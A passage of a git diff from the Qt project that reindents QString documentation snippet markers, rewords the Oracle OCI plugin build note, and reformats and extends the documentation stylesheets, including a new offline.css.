long a = 63;
QString s = QString::number(a, 16); // s == "3f"
QString t = QString::number(a, 16).toUpper(); // t == "3F"
-//! [35]
+ //! [35]
}
void Widget::prependFunction()
{
-//! [36]
+ //! [36]
QString x = "ship";
QString y = "air";
x.prepend(y);
// x == "airship"
-//! [36]
+ //! [36]
}
void Widget::removeFunction()
{
-//! [37]
+ //! [37]
QString s = "Montreal";
s.remove(1, 4);
// s == "Meal"
-//! [37]
+ //! [37]
-//! [38]
+ //! [38]
QString t = "Ali Baba";
t.remove(QChar('a'), Qt::CaseInsensitive);
// t == "li Bb"
-//! [38]
+ //! [38]
-//! [39]
+ //! [39]
QString r = "Telephone";
r.remove(QRegExp("[aeiou]."));
// r == "The"
-//! [39]
+ //! [39]
}
void Widget::replaceFunction()
{
-//! [40]
+ //! [40]
QString x = "Say yes!";
QString y = "no";
x.replace(4, 3, y);
// x == "Say no!"
-//! [40]
+ //! [40]
-//! [41]
+ //! [41]
QString str = "colour behaviour flavour neighbour";
str.replace(QString("ou"), QString("o"));
// str == "color behavior flavor neighbor"
-//! [41]
+ //! [41]
-//! [42]
+ //! [42]
QString s = "Banana";
s.replace(QRegExp("a[mn]"), "ox");
// s == "Boxoxa"
-//! [42]
+ //! [42]
-//! [43]
+ //! [43]
QString t = "A <i>bon mot</i>.";
t.replace(QRegExp("<i>([^<]*)</i>"), "\\emph{\\1}");
// t == "A \\emph{bon mot}."
-//! [43]
+ //! [43]
-//! [86]
+ //! [86]
QString equis = "xxxxxx";
equis.replace("xx", "x");
// equis == "xxx"
-//! [86]
+ //! [86]
}
void Widget::reserveFunction()
{
-//! [44]
+ //! [44]
QString result;
int maxSize;
bool condition;
@@ -549,59 +549,59 @@ void Widget::reserveFunction()
result.append(nextChar);
result.squeeze();
-//! [44]
+ //! [44]
}
void Widget::resizeFunction()
{
-//! [45]
+ //! [45]
QString s = "Hello world";
s.resize(5);
// s == "Hello"
s.resize(8);
// s == "Hello???" (where ? stands for any character)
-//! [45]
+ //! [45]
-//! [46]
+ //! [46]
QString t = "Hello";
t += QString(10, 'X');
// t == "HelloXXXXXXXXXX"
-//! [46]
+ //! [46]
-//! [47]
+ //! [47]
QString r = "Hello";
r = r.leftJustified(10, ' ');
// r == "Hello "
-//! [47]
+ //! [47]
}
void Widget::rightFunction()
{
-//! [48]
+ //! [48]
QString x = "Pineapple";
QString y = x.right(5); // y == "apple"
-//! [48]
+ //! [48]
}
void Widget::rightJustifiedFunction()
{
-//! [49]
+ //! [49]
QString s = "apple";
QString t = s.rightJustified(8, '.'); // t == "...apple"
-//! [49]
+ //! [49]
-//! [50]
+ //! [50]
QString str = "Pineapple";
str = str.rightJustified(5, '.', true); // str == "Pinea"
-//! [50]
+ //! [50]
}
void Widget::sectionFunction()
{
-//! [51] //! [52]
+ //! [51] //! [52]
QString str;
-//! [51]
+ //! [51]
QString csv = "forename,middlename,surname,phone";
QString path = "/usr/local/bin/myapp"; // First field is empty
QString::SectionFlag flag = QString::SectionSkipEmpty;
@@ -610,83 +610,83 @@ void Widget::sectionFunction()
str = csv.section(',', 2, 2); // str == "surname"
str = path.section('/', 3, 4); // str == "bin/myapp"
str = path.section('/', 3, 3, flag); // str == "myapp"
-//! [52]
+ //! [52]
-//! [53]
+ //! [53]
str = csv.section(',', -3, -2); // str == "middlename,surname"
str = path.section('/', -1); // str == "myapp"
-//! [53]
+ //! [53]
-//! [54]
+ //! [54]
QString data = "forename**middlename**surname**phone";
str = data.section("**", 2, 2); // str == "surname"
str = data.section("**", -3, -2); // str == "middlename**surname"
-//! [54]
+ //! [54]
-//! [55]
+ //! [55]
QString line = "forename\tmiddlename surname \t \t phone";
QRegExp sep("\\s+");
str = line.section(sep, 2, 2); // s == "surname"
str = line.section(sep, -3, -2); // s == "middlename surname"
-//! [55]
+ //! [55]
}
void Widget::setNumFunction()
{
-//! [56]
+ //! [56]
QString str;
str.setNum(1234); // str == "1234"
-//! [56]
+ //! [56]
}
void Widget::simplifiedFunction()
{
-//! [57]
+ //! [57]
QString str = " lots\t of\nwhitespace\r\n ";
str = str.simplified();
// str == "lots of whitespace";
-//! [57]
+ //! [57]
}
void Widget::sizeFunction()
{
-//! [58]
+ //! [58]
QString str = "World";
int n = str.size(); // n == 5
str.data()[0]; // returns 'W'
str.data()[4]; // returns 'd'
str.data()[5]; // returns '\0'
-//! [58]
+ //! [58]
}
void Widget::splitFunction()
{
-//! [59]
+ //! [59]
QString str;
QStringList list;
str = "Some text\n\twith strange whitespace.";
list = str.split(QRegExp("\\s+"));
// list: [ "Some", "text", "with", "strange", "whitespace." ]
-//! [59]
+ //! [59]
-//! [60]
+ //! [60]
str = "This time, a normal English sentence.";
list = str.split(QRegExp("\\W+"), QString::SkipEmptyParts);
// list: [ "This", "time", "a", "normal", "English", "sentence" ]
-//! [60]
+ //! [60]
-//! [61]
+ //! [61]
str = "Now: this sentence fragment.";
list = str.split(QRegExp("\\b"));
// list: [ "", "Now", ": ", "this", " ", "sentence", " ", "fragment", "." ]
-//! [61]
+ //! [61]
}
void Widget::splitCaseSensitiveFunction()
{
-//! [62]
+ //! [62]
QString str = "a,,b,c";
QStringList list1 = str.split(",");
@@ -694,241 +694,241 @@ void Widget::splitCaseSensitiveFunction()
QStringList list2 = str.split(",", QString::SkipEmptyParts);
// list2: [ "a", "b", "c" ]
-//! [62]
+ //! [62]
}
void Widget::sprintfFunction()
{
-//! [63]
+ //! [63]
size_t BufSize;
char buf[BufSize];
::snprintf(buf, BufSize, "%lld", 123456789LL);
QString str = QString::fromAscii(buf);
-//! [63]
+ //! [63]
-//! [64]
+ //! [64]
QString result;
QTextStream(&result) << "pi = " << 3.14;
// result == "pi = 3.14"
-//! [64]
+ //! [64]
}
void Widget::startsWithFunction()
{
-//! [65]
+ //! [65]
QString str = "Bananas";
str.startsWith("Ban"); // returns true
str.startsWith("Car"); // returns false
-//! [65]
+ //! [65]
}
void Widget::toDoubleFunction()
{
-//! [66]
+ //! [66]
QString str = "1234.56";
double val = str.toDouble(); // val == 1234.56
-//! [66]
+ //! [66]
-//! [67]
+ //! [67]
bool ok;
double d;
d = QString( "1234.56e-02" ).toDouble(&ok); // ok == true, d == 12.3456
-//! [67]
+ //! [67]
-//! [68] //! [69]
+ //! [68] //! [69]
QLocale::setDefault(QLocale::C);
d = QString( "1234,56" ).toDouble(&ok); // ok == false
-//! [68]
+ //! [68]
d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56
-//! [69] //! [70]
+ //! [69] //! [70]
QLocale::setDefault(QLocale::German);
d = QString( "1234,56" ).toDouble(&ok); // ok == true, d == 1234.56
d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56
-//! [70]
+ //! [70]
QLocale::setDefault(QLocale::C);
d = QString( "1,234,567.89" ).toDouble(&ok); // ok == false
}
void Widget::toFloatFunction()
{
-//! [71]
+ //! [71]
QString str1 = "1234.56";
str1.toFloat(); // returns 1234.56
bool ok;
QString str2 = "R2D2";
str2.toFloat(&ok); // returns 0.0, sets ok to false
-//! [71]
+ //! [71]
}
void Widget::toIntFunction()
{
-//! [72]
+ //! [72]
QString str = "FF";
bool ok;
int hex = str.toInt(&ok, 16); // hex == 255, ok == true
int dec = str.toInt(&ok, 10); // dec == 0, ok == false
-//! [72]
+ //! [72]
}
void Widget::toLongFunction()
{
-//! [73]
+ //! [73]
QString str = "FF";
bool ok;
long hex = str.toLong(&ok, 16); // hex == 255, ok == true
long dec = str.toLong(&ok, 10); // dec == 0, ok == false
-//! [73]
+ //! [73]
}
void Widget::toLongLongFunction()
{
-//! [74]
+ //! [74]
QString str = "FF";
bool ok;
qint64 hex = str.toLongLong(&ok, 16); // hex == 255, ok == true
qint64 dec = str.toLongLong(&ok, 10); // dec == 0, ok == false
-//! [74]
+ //! [74]
}
void Widget::toLowerFunction()
{
-//! [75]
+ //! [75]
QString str = "Qt by NOKIA";
str = str.toLower(); // str == "qt by nokia"
-//! [75]
+ //! [75]
}
void Widget::toShortFunction()
{
-//! [76]
+ //! [76]
QString str = "FF";
bool ok;
short hex = str.toShort(&ok, 16); // hex == 255, ok == true
short dec = str.toShort(&ok, 10); // dec == 0, ok == false
-//! [76]
+ //! [76]
}
void Widget::toUIntFunction()
{
-//! [77]
+ //! [77]
QString str = "FF";
bool ok;
uint hex = str.toUInt(&ok, 16); // hex == 255, ok == true
uint dec = str.toUInt(&ok, 10); // dec == 0, ok == false
-//! [77]
+ //! [77]
}
void Widget::toULongFunction()
{
-//! [78]
+ //! [78]
QString str = "FF";
bool ok;
ulong hex = str.toULong(&ok, 16); // hex == 255, ok == true
ulong dec = str.toULong(&ok, 10); // dec == 0, ok == false
-//! [78]
+ //! [78]
}
void Widget::toULongLongFunction()
{
-//! [79]
+ //! [79]
QString str = "FF";
bool ok;
quint64 hex = str.toULongLong(&ok, 16); // hex == 255, ok == true
quint64 dec = str.toULongLong(&ok, 10); // dec == 0, ok == false
-//! [79]
+ //! [79]
}
void Widget::toUShortFunction()
{
-//! [80]
+ //! [80]
QString str = "FF";
bool ok;
ushort hex = str.toUShort(&ok, 16); // hex == 255, ok == true
ushort dec = str.toUShort(&ok, 10); // dec == 0, ok == false
-//! [80]
+ //! [80]
}
void Widget::toUpperFunction()
{
-//! [81]
+ //! [81]
QString str = "TeXt";
str = str.toUpper(); // str == "TEXT"
-//! [81]
+ //! [81]
}
void Widget::trimmedFunction()
{
-//! [82]
+ //! [82]
QString str = " lots\t of\nwhitespace\r\n ";
str = str.trimmed();
// str == "lots\t of\nwhitespace"
-//! [82]
+ //! [82]
}
void Widget::truncateFunction()
{
-//! [83]
+ //! [83]
QString str = "Vladivostok";
str.truncate(4);
// str == "Vlad"
-//! [83]
+ //! [83]
}
void Widget::plusEqualOperator()
{
-//! [84]
+ //! [84]
QString x = "free";
QString y = "dom";
x += y;
// x == "freedom"
-//! [84]
+ //! [84]
}
void Widget::arrayOperator()
{
-//! [85]
+ //! [85]
QString str;
if (str[0] == QChar('?'))
str[0] = QChar('_');
-//! [85]
+ //! [85]
}
void Widget::midRefFunction()
{
-//! [midRef]
+ //! [midRef]
QString x = "Nine pineapples";
QStringRef y = x.midRef(5, 4); // y == "pine"
QStringRef z = x.midRef(5); // z == "pineapples"
-//! [midRef]
+ //! [midRef]
}
void Widget::leftRefFunction()
{
-//! [leftRef]
+ //! [leftRef]
QString x = "Pineapple";
QStringRef y = x.leftRef(4); // y == "Pine"
-//! [leftRef]
+ //! [leftRef]
}
void Widget::rightRefFunction()
{
-//! [rightRef]
+ //! [rightRef]
QString x = "Pineapple";
QStringRef y = x.rightRef(5); // y == "apple"
-//! [rightRef]
+ //! [rightRef]
}
diff --git a/doc/src/sql-programming/sql-driver.qdoc b/doc/src/sql-programming/sql-driver.qdoc
index 1476491..a4bcb97 100644
--- a/doc/src/sql-programming/sql-driver.qdoc
+++ b/doc/src/sql-programming/sql-driver.qdoc
@@ -314,7 +314,9 @@
\section3 How to Build the OCI Plugin on Windows
Choosing the option "Programmer" in the Oracle Client Installer from
- the Oracle Client Installation CD is sufficient to build the plugin.
+ the Oracle Client Installation CD is generally sufficient to build the
+ plugin. For some versions of Oracle Client, you may also need to select
+ the "Call Interface (OCI)" option if it is available.
Build the plugin as follows (here it is assumed that Oracle Client is
installed in \c{C:\oracle}):
diff --git a/doc/src/template/style/narrow.css b/doc/src/template/style/narrow.css
index fbb0752..39b4740 100644
--- a/doc/src/template/style/narrow.css
+++ b/doc/src/template/style/narrow.css
@@ -135,7 +135,7 @@
.creator .wrap
{
margin: 0px;
- background:#FFFFFF;
+ background:#FFFFFF;
}
.narrow .wrap .toolbar
{
@@ -170,7 +170,7 @@
.narrow .wrap .breadcrumb ul li.last a {
color: #363534;
}
-
+
#narrowsearch {
display: none;
}
@@ -213,7 +213,7 @@
width: 64%;
padding-left: 0;
}
-
+
.narrow .indexboxcont .sectionlist {
width: 32.5%;
}
@@ -253,7 +253,7 @@
#narrowmenu li,
#narrowmenu li ul {
background-color: #fff;
- margin-top:-1px;
+ margin-top:-1px;
}
#narrowmenu li ul {
@@ -266,6 +266,6 @@
}
/* end narrow mode */
- .creator #narrowsearch, .creator #narrowmenu{
- display:none;
- }
+ .creator #narrowsearch, .creator #narrowmenu{
+ display:none;
+ }
diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
new file mode 100644
index 0000000..4083a75
--- /dev/null
+++ b/doc/src/template/style/offline.css
@@ -0,0 +1,672 @@
+@media screen
+{
+
+/* basic elements */
+ html
+ {
+ color: #000000;
+ background: #FFFFFF;
+ }
+ table
+ {
+ border-collapse: collapse;
+ border-spacing: 0;
+ }
+ fieldset, img
+ {
+ border: 0;
+ max-width:100%;
+ }
+ address, caption, cite, code, dfn, em, strong, th, var, optgroup
+ {
+ font-style: inherit;
+ font-weight: inherit;
+ }
+ del, ins
+ {
+ text-decoration: none;
+ }
+ li
+ {
+ list-style: none;
+ }
+ ol li
+ {
+ list-style: decimal;
+ }
+ caption, th
+ {
+ text-align: left;
+ }
+ h1, h2, h3, h4, h5, h6
+ {
+ font-size: 100%;
+ }
+ q:before, q:after
+ {
+ content: '';
+ }
+ abbr, acronym
+ {
+ border: 0;
+ font-variant: normal;
+ }
+ sup, sub
+ {
+ vertical-align: baseline;
+ }
+ tt, .qmlreadonly span, .qmldefault span
+ {
+ word-spacing:0.5em;
+ }
+ legend
+ {
+ color: #000000;
+ }
+ strong
+ {
+ font-weight: bold;
+ }
+ em
+ {
+ font-style: italic;
+ }
+
+ body
+ {
+ margin-left: 0.5em;
+ margin-right: 0.5em;
+ }
+ a
+ {
+ color: #00732F;
+ text-decoration: none;
+ }
+ hr
+ {
+ background-color: #E6E6E6;
+ border: 1px solid #E6E6E6;
+ height: 1px;
+ width: 100%;
+ text-align: left;
+ margin: 1.5em 0 1.5em 0;
+ }
+
+ pre
+ {
+ border: 1px solid #DDDDDD;
+ -moz-border-radius: 0.7em 0.7em 0.7em 0.7em;
+ -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em;
+ border-radius: 0.7em 0.7em 0.7em 0.7em;
+ margin: 0 1.5em 1em 1em;
+ padding: 1em 1em 1em 1em;
+ overflow-x: auto;
+ }
+ table, pre
+ {
+ -moz-border-radius: 0.7em 0.7em 0.7em 0.7em;
+ -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em;
+ border-radius: 0.7em 0.7em 0.7em 0.7em;
+ background-color: #F6F6F6;
+ border: 1px solid #E6E6E6;
+ border-collapse: separate;
+ margin-bottom: 2.5em;
+ }
+ pre {
+ font-size: 90%;
+ display: block;
+ overflow:hidden;
+ }
+ thead
+ {
+ margin-top: 0.5em;
+ font-weight: bold
+ }
+ th
+ {
+ padding: 0.5em 1.5em 0.5em 1.5em;
+ background-color: #E1E1E1;
+ border-left: 1px solid #E6E6E6;
+ }
+ td
+ {
+ padding: 0.25em 1.5em 0.25em 2em;
+ }
+
+ td.rightAlign
+ {
+ padding: 0.25em 0.5em 0.25em 1em;
+ }
+ table tr.odd
+ {
+ border-left: 1px solid #E6E6E6;
+ background-color: #F6F6F6;
+ color: #66666E;
+ }
+ table tr.even
+ {
+ border-left: 1px solid #E6E6E6;
+ background-color: #ffffff;
+ color: #66666E;
+ }
+
+ div.float-left
+ {
+ float: left; margin-right: 2em
+ }
+ div.float-right
+ {
+ float: right; margin-left: 2em
+ }
+
+ span.comment
+ {
+ color: #008B00;
+ }
+ span.string, span.char
+ {
+ color: #000084;
+ }
+ span.number
+ {
+ color: #a46200;
+ }
+ span.operator
+ {
+ color: #202020;
+ }
+ span.keyword
+ {
+ color: #840000;
+ }
+ span.name
+ {
+ color: black
+ }
+ span.type
+ {
+ font-weight: bold
+ }
+ span.type a:visited
+ {
+ color: #0F5300;
+ }
+ span.preprocessor
+ {
+ color: #404040
+ }
+/* end basic elements */
+
+/* font style elements */
+ .heading
+ {
+ font-weight: bold;
+ font-size: 125%;
+ }
+ .subtitle
+ {
+ font-size: 110%
+ }
+ .small-subtitle
+ {
+ font-size: 100%
+ }
+ .red
+ {
+ color:red;
+ }
+/* end font style elements */
+
+/* global settings*/
+ .header, .footer
+ {
+ display: block;
+ clear: both;
+ overflow: hidden;
+ }
+/* end global settings*/
+
+/* header elements */
+ .header .qtref
+ {
+ color: #00732F;
+ font-weight: bold;
+ font-size: 130%;
+ }
+
+ .header .content
+ {
+ margin-bottom: 0.5em
+ }
+
+ .naviNextPrevious
+ {
+ display: none
+ }
+ .header .breadcrumb
+ {
+ font-size: 90%;
+ padding: 0.5em 0 0.5em 1em;
+ margin: 0;
+ background-color: #fafafa;
+ height: 1.35em;
+ border-bottom: 1px solid #d1d1d1;
+ }
+
+ .header .breadcrumb ul
+ {
+ margin: 0;
+ padding: 0;
+ }
+
+ .header .content
+ {
+ word-wrap: break-word;
+ }
+
+ .header .breadcrumb ul li
+ {
+ float: left;
+ background: url(../images/breadcrumb.png) no-repeat 0 3px;
+ padding-left: 1.5em;
+ margin-left: 1.5em;
+ }
+
+ .header .breadcrumb ul li.last
+ {
+ font-weight: normal;
+ }
+
+ .header .breadcrumb ul li a
+ {
+ color: #00732F;
+ }
+
+ .header .breadcrumb ul li.first
+ {
+ background-image: none;
+ padding-left: 0;
+ margin-left: 0;
+ }
+
+ .header .content ol li {
+ background: none;
+ margin-bottom: 1.0em;
+ margin-left: 1.2em;
+ padding-left: 0
+ }
+
+ .header .content li
+ {
+ background: url(../images/bullet_sq.png) no-repeat 0 5px;
+ margin-bottom: 1em;
+ padding-left: 1.2em;
+ }
+
+/* end header elements */
+
+/* content elements */
+ .content h1
+ {
+ font-weight: bold;
+ font-size: 150%
+ }
+
+ .content h2
+ {
+ font-weight: bold;
+ font-size: 135%;
+ width: 100%;
+ }
+ .content h3
+ {
+ font-weight: bold;
+ font-size: 120%;
+ width: 100%;
+ }
+ .content table p
+ {
+ margin: 0
+ }
+ .content ul
+ {
+ padding-left: 2.5em;
+ }
+ .content li
+ {
+ padding-top: 0.25em;
+ padding-bottom: 0.25em;
+ }
+ .content ul img {
+ vertical-align: middle;
+ }
+
+ .content a:visited
+ {
+ color: #4c0033;
+ text-decoration: none;
+ }
+
+ .content a:visited:hover
+ {
+ color: #4c0033;
+ text-decoration: underline;
+ }
+
+ a:hover
+ {
+ color: #4c0033;
+ text-decoration: underline;
+ }
+ descr p a
+ {
+ text-decoration: underline;
+ }
+
+ .descr p a:visited
+ {
+ text-decoration: underline;
+ }
+
+ .alphaChar{
+ width:95%;
+ background-color:#F6F6F6;
+ border:1px solid #E6E6E6;
+ -moz-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ font-size:12pt;
+ padding-left:10px;
+ margin-top:10px;
+ margin-bottom:10px;
+ }
+ .flowList{
+ /*vertical-align:top;*/
+ /*margin:20px auto;*/
+
+ column-count:3;
+ -webkit-column-count:3;
+ -moz-column-count:3;
+/*
+ column-width:100%;
+ -webkit-column-width:200px;
+ -col-column-width:200px;
+*/
+ column-gap:41px;
+ -webkit-column-gap:41px;
+ -moz-column-gap:41px;
+
+ column-rule: 1px dashed #ccc;
+ -webkit-column-rule: 1px dashed #ccc;
+ -moz-column-rule: 1px dashed #ccc;
+ }
+
+ .flowList dl{
+ }
+ .flowList dd{
+ /*display:inline-block;*/
+ margin-left:10px;
+ min-width:250px;
+ line-height: 1.5;
+ min-width:100%;
+ min-height:15px;
+ }
+
+ .flowList dd a{
+ }
+
+ .content .flowList p{
+ padding:0px;
+ }
+
+ .content .alignedsummary
+ {
+ margin: 15px;
+ }
+
+
+ .qmltype
+ {
+ text-align: center;
+ font-size: 120%;
+ }
+ .qmlreadonly
+ {
+ padding-left: 5px;
+ float: right;
+ color: #254117;
+ }
+
+ .qmldefault
+ {
+ padding-left: 5px;
+ float: right;
+ color: red;
+ }
+
+ .qmldoc
+ {
+ }
+
+ .generic .alphaChar{
+ margin-top:5px;
+ }
+
+ .generic .odd .alphaChar{
+ background-color: #F6F6F6;
+ }
+
+ .generic .even .alphaChar{
+ background-color: #FFFFFF;
+ }
+
+ .memItemRight{
+ padding: 0.25em 1.5em 0.25em 0;
+ }
+ .highlightedCode
+ {
+ margin: 1.0em;
+ }
+ .annotated td {
+ padding: 0.25em 0.5em 0.25em 0.5em;
+ }
+
+ .header .content .toc ul
+ {
+ padding-left: 0px;
+ }
+
+ .content .toc h3 {
+ border-bottom: 0px;
+ margin-top: 0px;
+ }
+
+ .content .toc h3 a:hover {
+ color: #00732F;
+ text-decoration: none;
+ }
+
+ .content .toc .level2
+ {
+ margin-left: 1.5em;
+ }
+
+ .content .toc .level3
+ {
+ margin-left: 3.0em;
+ }
+
+ .content ul li
+ {
+ background: url(../images/bullet_sq.png) no-repeat 0 0.7em;
+ padding-left: 1em
+ }
+
+ .content .toc li
+ {
+ background: url(../images/bullet_dn.png) no-repeat 0 5px;
+ padding-left: 1em
+ }
+
+ .relpage
+ {
+ -moz-border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
+ border: 1px solid #DDDDDD;
+ padding: 25px 25px;
+ clear: both;
+ }
+ .relpage ul
+ {
+ float: none;
+ padding: 1.5em;
+ }
+
+ h3.fn, span.fn
+ {
+ -moz-border-radius:7px 7px 7px 7px;
+ -webkit-border-radius:7px 7px 7px 7px;
+ border-radius:7px 7px 7px 7px;
+ background-color: #F6F6F6;
+ border-width: 1px;
+ border-style: solid;
+ border-color: #E6E6E6;
+ font-weight: bold;
+ word-spacing:3px;
+ padding:3px 5px;
+ }
+
+ .functionIndex {
+ font-size:12pt;
+ word-spacing:10px;
+ margin-bottom:10px;
+ background-color: #F6F6F6;
+ border-width: 1px;
+ border-style: solid;
+ border-color: #E6E6E6;
+ -moz-border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
+ width:100%;
+ }
+
+ .centerAlign
+ {
+ text-align:center;
+ }
+
+ .rightAlign
+ {
+ text-align:right;
+ }
+
+ .leftAlign
+ {
+ text-align:left;
+ }
+
+ .topAlign{
+ vertical-align:top
+ }
+
+ .functionIndex a{
+ display:inline-block;
+ }
+
+/* end content elements */
+/* footer elements */
+
+ .footer
+ {
+ color: #393735;
+ font-size: 0.75em;
+ text-align: center;
+ padding-top: 1.5em;
+ padding-bottom: 1em;
+ background-color: #E6E7E8;
+ margin: 0;
+ }
+ .footer p
+ {
+ margin: 0.25em
+ }
+ .small
+ {
+ font-size: 0.5em;
+ }
+/* end footer elements */
+
+ .item {
+ float: left;
+ position: relative;
+ width: 100%;
+ overflow: hidden;
+ }
+
+
+ .item .primary {
+ margin-right: 220px;
+ position: relative;
+ }
+
+ .item hr {
+ margin-left: -220px;
+ }
+
+ .item .secondary {
+ float: right;
+ width: 200px;
+ position: relative;
+ }
+
+ .item .cols {
+ clear: both;
+ display: block;
+ }
+
+ .item .cols .col {
+ float: left;
+ margin-left: 1.5%;
+ }
+
+ .item .cols .col.first {
+ margin-left: 0;
+ }
+
+ .item .cols.two .col {
+ width: 45%;
+ }
+
+ .item .box {
+ margin: 0 0 10px 0;
+ }
+
+ .item .box h3 {
+ margin: 0 0 10px 0;
+ }
+
+ .cols.unclear {
+ clear:none;
+ }
+}
+
+/* end of screen media */
+
+/* start of print media */
+
+@media print
+{
+ input, textarea, .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft, #feedbackBox, #blurpage, .toc, .breadcrumb, .toolbar, .floatingResult
+ {
+ display: none;
+ background: none;
+ }
+ .content
+ {
+ background: none;
+ display: block;
+ width: 100%; margin: 0; float: none;
+ }
+}
+/* end of print media */
diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
index 16bc9ed..df2729c 100755
--- a/doc/src/template/style/style.css
+++ b/doc/src/template/style/style.css
@@ -1,8 +1,8 @@
@media screen
{
-
+
/* basic elements */
- html
+ html
{
color: #000000;
background: #FFFFFF;
@@ -20,7 +20,7 @@
fieldset, img
{
border: 0;
- max-width:100%;
+ max-width:100%;
}
address, caption, cite, code, dfn, em, strong, th, var, optgroup
{
@@ -60,10 +60,10 @@
{
vertical-align: baseline;
}
- tt, .qmlreadonly span, .qmldefault span
- {
- word-spacing:5px;
- }
+ tt, .qmlreadonly span, .qmldefault span
+ {
+ word-spacing:5px;
+ }
legend
{
color: #000000;
@@ -88,7 +88,7 @@
font-style: italic;
}
- /* adding Qt theme */
+ /* adding Qt theme */
html
{
/* background-color: #e5e5e5;*/
@@ -117,9 +117,9 @@
pre
{
border: 1px solid #DDDDDD;
- -moz-border-radius: 7px 7px 7px 7px;
- -webkit-border-radius: 7px 7px 7px 7px;
- border-radius: 7px 7px 7px 7px;
+ -moz-border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
margin: 0 20px 10px 10px;
padding: 20px 15px 20px 20px;
overflow-x: auto;
@@ -135,14 +135,14 @@
font-size: 11px;
margin-bottom: 25px;
}
- pre.highlightedCode {
- display: block;
- overflow:hidden;
- }
+ pre.highlightedCode {
+ display: block;
+ overflow:hidden;
+ }
thead
{
margin-top: 5px;
- font:600 12px/1.2 Arial;
+ font:600 12px/1.2 Arial;
}
th
{
@@ -155,11 +155,11 @@
padding: 3px 15px 3px 20px;
}
tr.odd td:hover, tr.even td:hover {}
-
- td.rightAlign
- {
+
+ td.rightAlign
+ {
padding: 3px 5px 3px 10px;
- }
+ }
table tr.odd
{
border-left: 1px solid #E6E6E6;
@@ -176,18 +176,52 @@
{
/* background-color: #E6E6E6;*/ /* disabled until further notice */
}
-
+
+ div.float-left
+ {
+ float: left; margin-right: 2em
+ }
+ div.float-right
+ {
+ float: right; margin-left: 2em
+ }
+
span.comment
{
- color: #8B0000;
- font-style: italic;
+ color: #008B00;
}
span.string, span.char
{
- color: #254117;
+ color: #000084;
+ }
+ span.number
+ {
+ color: #a46200;
+ }
+ span.operator
+ {
+ color: #202020;
+ }
+ span.keyword
+ {
+ color: #840000;
+ }
+ span.name
+ {
+ color: black
+ }
+ span.type
+ {
+ font-weight: bold
+ }
+ span.type a:visited
+ {
+ color: #0F5300;
+ }
+ span.preprocessor
+ {
+ color: #404040
}
-
-
/* end basic elements */
/* font style elements */
@@ -204,10 +238,15 @@
{
font-size: 13px;
}
- .red
- {
- color:red;
- }
+ .red
+ {
+ color:red;
+ }
+ .figCaption{
+ color:#363534;
+ font:italic 11px/1.2 Verdana;
+ padding-top:0;
+ }
/* end font style elements */
/* global settings*/
@@ -231,8 +270,8 @@
clear: both;
visibility: hidden;
}
-
/* end global settings*/
+
/* header elements */
.header
{
@@ -266,12 +305,12 @@
color: #4c0033;
text-decoration: none;
}
- .content a:visited:hover
+ .content a:visited:hover
{
color: #4c0033;
text-decoration: underline;
}
-
+
#nav-topright
{
height: 70px;
@@ -317,7 +356,6 @@
background-position: -2px -117px;
}
-
#nav-topright li.nav-topright-dev a
{
width: 30px;
@@ -392,7 +430,6 @@
overflow: hidden;
}
-
.shortCut-topleft-inactive
{
padding-left: 3px;
@@ -404,10 +441,10 @@
{
font-variant: normal;
}
- .shortCut-topleft-inactive span a:hover, .shortCut-topleft-active a:hover
- {
- text-decoration:none;
- }
+ .shortCut-topleft-inactive span a:hover, .shortCut-topleft-active a:hover
+ {
+ text-decoration:none;
+ }
#shortCut
{
padding-top: 10px;
@@ -436,10 +473,8 @@
{
color: #44a51c;
}
+/* end header elements */
-
-
-/* end header elements */
/* content and sidebar elements */
.wrapper
{
@@ -453,9 +488,6 @@
overflow: hidden;
}
-
-
-
.wrapper .hd span
{
height: 15px;
@@ -469,9 +501,6 @@
position: relative;
}
-
-
-
.wrapper .ft
{
padding-left: 216px;
@@ -480,9 +509,6 @@
overflow: hidden;
}
-
-
-
.wrapper .ft span
{
height: 15px;
@@ -490,17 +516,13 @@
background: url(../images/page.png) no-repeat 100% -60px;
overflow: hidden;
}
- .navTop{
- float:right;
- display:block;
- padding-right:15px;
-
-
- }
-
+ .navTop{
+ float:right;
+ display:block;
+ padding-right:15px;
+ }
+/* end content and sidebar elements */
-
-/* end content and sidebar elements */
/* sidebar elements */
.sidebar
{
@@ -510,11 +532,6 @@
font-size: 11px;
}
-
-
-
-
-
.sidebar .searchlabel
{
padding: 0 0 2px 17px;
@@ -529,9 +546,9 @@
.sidebar .search form
{
background: url(../images/sprites-combined.png) no-repeat -6px -348px;
- height:21px;
- padding:2px 0 0 5px;
- width:167px;
+ height:21px;
+ padding:2px 0 0 5px;
+ width:167px;
}
.sidebar .search form input#pageType
@@ -589,10 +606,10 @@
.sidebar .box .list
{
display: block;
- max-height:200px;
- min-height:120px;
- overflow-y:auto;
- overflow-x:none;
+ max-height:200px;
+ min-height:120px;
+ overflow-y:auto;
+ overflow-x:none;
}
.list li a:hover
{
@@ -600,9 +617,9 @@
}
.sidebar .box ul
{
- padding-bottom:5px;
- padding-left:10px;
- padding-top:5px;
+ padding-bottom:5px;
+ padding-left:10px;
+ padding-top:5px;
}
.sidebar .box ul li
{
@@ -614,153 +631,150 @@
{
background: url(../images/box_bg.png) repeat-x 0 bottom;
}
- .sidebar .box ul li.noMatch
+ .sidebar .box ul li.noMatch
{
background: none;
- color:#FF2A00;
- font-style:italic;
+ color:#FF2A00;
+ font-style:italic;
}
- .sidebar .box ul li.hit
+ .sidebar .box ul li.hit
{
background: none;
- color:#AAD2F0;
- font-style:italic;
- }
- .sidebar .search form input.loading
- {
- background:url("../images/spinner.gif") no-repeat scroll right center transparent;
- }
-
- .sidebar .search form {
- _height: 23px;
- _width: 169px;
- }
-
- #resultdialog {
- display: none;
- position: absolute;
